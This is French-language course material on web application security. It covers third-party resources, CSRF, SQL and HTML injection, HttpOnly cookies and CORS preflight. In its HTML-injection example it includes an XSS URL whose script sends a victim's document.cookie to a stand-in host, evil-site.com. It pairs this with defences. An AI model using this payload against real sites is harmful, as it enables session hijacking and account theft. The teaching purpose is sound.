Chargement de ressources sur des domaines externes
Une application web cliente hébergée sur un domaine A peut charger des ressources de sources externes tels que :
- Des images, fichiers audio et vidéo (balises <img>, <audio> et <video>)
- Des feuilles de style CSS
- Des fontes
-
Du code JavaScript depuis des balises <script src="..."></script>
- Code statique (chargement de bibliothèques JavaScript)
- Code dynamique (passage de paramètres pour la génération de script) : approche JSONP
- Des pages externes par incorporation dans la page courante avec une balise <iframe src="..."></iframe>
Une requête sur un serveur externe implique a minima la connaissance par le serveur externe de certaines informations de l'utilisateur :
- Son adresse IP
- L'identification du client HTTP utilisé (en-tête User-Agent)
-
Eventuellement les cookies conservés pour le domaine externe (cookies tiers)
- Ceci permet au site externe de suivre la navigation de l'internaute à travers plusieurs sites qui font appel au site externe
- Utilité pour les sites de génération de statistiques et de profilage publicitaire
- Possibilité pour l'internaute de bloquer les cookies tiers
Charger du code JavaScript depuis une source externe implique une confiance accordée au site externe, mais :
- Les données du site externe peuvent être remplacées par des pirates
- Le propriétaire d'un domaine peut changer (oubli de renouvellement)
Du code malveillant externe peut :
- Détourner des données personnelles manipulées par l'application web (fuite de données)
- Exploiter des failles de sécurité (connues ou inconnues) du moteur JavaScript et du navigateur
- Exploiter la puissance de calcul de la machine (minage de cryptomonnaies)
- Réaliser un déni de service locale sur la machine cliente ou se servir de la machine cliente pour réaliser un déni de service distribué
En résumé, utiliser des ressources externes :
- Permet de réduire la quantité de données échangée par le serveur web
- Mais abaisse potentiellement le niveau de sécurité de l'application
Appel de l'application web par des sources externes
Actions sans consentement (attaque CSRF)
Principe
Une source externe peut émettre une requête HTTP vers le serveur web réalisant une action spécifique. Si l'utilisateur est déjà authentifié sur le serveur, le client HTTP peut posséder un jeton de session conservé comme cookie. Le cookie est envoyé avec la requête et le serveur réalise l'action demandée sans le consentement de l'utilisateur.
Exemple d'attaque
Site bancaire avec un serveur web supportant les requêtes suivantes :
- POST /auth pour s'authentifier ; le serveur retourne alors un cookie avec un jeton de session servant à authentifier les requêtes suivantes
- POST /make_transfer pour réaliser un virement (avec un paramètre pour indiquer le montant et un autre pour le compte de destination)
Un utilisateur préalablement authentifié sur le site bancaire peut ensuite visiter un site malveillant réalisant une requête POST http://bank/make_transfer pour réaliser un virement sur le compte de son choix sans connaissance de l'utilisateur.
Cette requête malveillante peut être réalisée :
-
automatiquement :
- depuis du code JavaScript en utilisant par exemple l'API XMLHttpRequest
- depuis du code HTML (ne fonctionne que pour une requête de méthode GET) en ajoutant l'URL comme lien vers une feuille de style, image, script...
- en incitant l'utilisateur à valider un formulaire HTML réalisant la requête
- en incitant l'utilisateur à cliquer sur un lien hypertexte (ne fonctionne que pour une requête avec méthode GET)
Parade
Rajouter un jeton d'authentification à renvoyer dans la requête qui n'a pas été communiqué initialement par l'intermédiaire d'un cookie.
Injection de données malveillantes
Principe
- Règle essentielle de sécurité : ne jamais faire confiance à des données communiquées par une source externe.
-
Certains paramètres provenant de sources externes sont utilisés pour construire du code à exécuter : les caractères spéciaux des paramètres doivent être déspécialisés
- Cas de SQL (injection de commandes SQL sur une base côté serveur)
- Cas de HTML (injection de balises HTML sur la page consultée par le client)
Exemple : injection de code SQL côté serveur
Une application web côté serveur peut utiliser des paramètres communiqués par le client HTTP pour construire une requête SQL permettant de consulter ou mettre à jour une base de données.
Exemple : injection de code HTML côté client
L'attaquant contrôlant le site evil-site veut récupérer les cookies de example (contenant un identifiant de session servant pour l'authentification).
example contient une page hello_world.html affichant un nom communique dans la section query de l'URL :
<p> Hello World <span id="name">anonymous</span> </p> <script> const urlParams = new URLSearchParams(window.location.search); let node = document.getElementById("name"); node.innerHTML = urlParams.get("name"); </script>
evil-site peut contenir un lien hypertexte (ou utiliser une iframe imbriquée dans la page) vers cette URL (laissée non-encodée pour des raisons de lisibilité) :
http://example/hello_world.html?name=foobar <script>document.write("<img src='http://evil-site.com/kitten?cookie=' + document.cookie + ">")</script>
Le paramètre name est utilisé pour injecter du code HTML arbitraire qui peut contenir comme ici du code JavaScript demandant l'affichage d'une image menant à l'émission d'une requête vers evil-site avec les cookies de example.
Une parade dans ce as consiste à remplacer node.innerHTML = par node.innerText = qui permettra d'afficher du texte et pas du code HTML. Si une source externe est censée fournir des balises HTML dans les paramètres, il faut écrire une fonction de filtrage chargée de conserver uniquement les balises sûres (<p>, <b>, <em>) et supprimer de possibles attributs dangereux (javascript: dans un attribut href d'un lien hypertexte).
Prévention de l'usage de document.cookie depuis le client web
Il est possible d'installer un cookie pour un site soit par l'émission d'un en-tête HTTP Set-Cookie par le serveur, soit par du code JavaScript intégré sur une page appelant document.cookie = .... Pour les cookies créés par en-tête HTTP, il est possible d'ajouter le drapeau HttpOnly pour demander au navigateur d'interdire leur accès depuis le code JavaScript :
Set-Cookie: sessionid=xxxx; path=/; HttpOnly
Mécanisme de contrôle d'accès inter-origine (CORS)
Présentation
Le mécanisme de sécurité CORS (Cross Origin Resource Sharing) est implanté par le client HTTP pour empêcher une application web résidant sur un serveur de faire appel à des ressources d'autres serveurs. Ce mécanisme implanté côté client ne prévient pas les attaques d'injection pour lesquelles l'attaquant a toute liberté quant au choix de son client HTTP. CORS présente un intérêt pour limiter les attaques de type CSRF réalisant des actions non souhaitées avec usage de cookies.
Fonctionnement
CORS distingue deux familles de requêtes :
- Les requêtes simples
- Les requêtes dangereuses qui présentent un risque d'abus plus important (usage d'en-têtes non présents sur une liste blanche, envoi de types de données non standard...)
Pour une requête simple, le client HTTP émet directement la requête en ajoutant un en-tête Origin: http://example.com indiquant le site originaire de la requête (ici example.com). Le site est ensuite libre de satisfaire ou non cette requête en fonction de son origine. Si le serveur ne souhaite pas satisfaire la requête, il peut émettre une réponse avec un code de status 403 indiquant que l'accès à la ressource est interdit.
Pour une requête dangereuse, un pré-requête est réalisée pour interroger le serveur. Par exemple si nous souhaitons émettre une requête POST http://other-server/resource avec utilisation de certains en-têtes (X-Auth-Info et Content-Type) le client HTTP émet la pré-requête suivante vers other-server :
OPTIONS /resource HTTP/1.1 Host: other-server Origin: http://example.com Access-Control-Request-Method: POST Access-Control-Request-Headers: X-Auth-Info, Content-Type
Le serveur externe répond en indiquant les requêtes qu'il tolère, de quelles sources ainsi que les en-têtes supportés :
HTTP/1.1 200 OK Date: Sun, 15 Sep 2019 01:37:42 GMT Server: Apache Access-Control-Allow-Origin: http://example.com Access-Control-Allow-Methods: POST, GET Access-Control-Allow-Headers: X-Auth-Info, Content-Type Access-Control-Max-Age: 86400 Vary: Accept-Encoding, Origin Content-Encoding: gzip Content-Length: 0 Content-Type: text/plain
Il indique ici qu'il tolère les requêtes de example.com pour les méthodes POST et GET avec les en-têtes précisés. Notons qu'un serveur peut répondre aussi Access-Control-Allow-Origin: * s'il tolère des appels de n'importe quelle origine (cas d'APIs d'accès public). Avec Access-Control-Max-Age la durée de vie de la politique CORS est spécifiée ; le serveur ne sera pas réinterrogé à ce sujet avant l'expiration.
Si l'en-tête Access-Control-Allow-Origin ne contient pas le site d'origine de la requête (ou *), alors le client HTTP refusera d'émettre la requête.
Test de pages web depuis file://
Les version récentes de navigateurs web considérent que les pages HTML résidant sur le système de fichier local ne peuvent pas émettre de requêtes permettant de charger d'autres fichiers en tant que modules JavaScript ou de communiquer avec un serveur web externe.
Pour tester des pages HTML locales réalisant de telles actions, il est nécessaire de les héberger sur un serveur web. On pourra par exemple utiliser le serveur web de la bibliothèque standard Python avec la commande suivante exécutée dans le répertoire à servir :
python3 -m http.server 8080
On pourra ensuite se rendre à l'URL http://localhost:8080 pour consulter les pages du répertoire.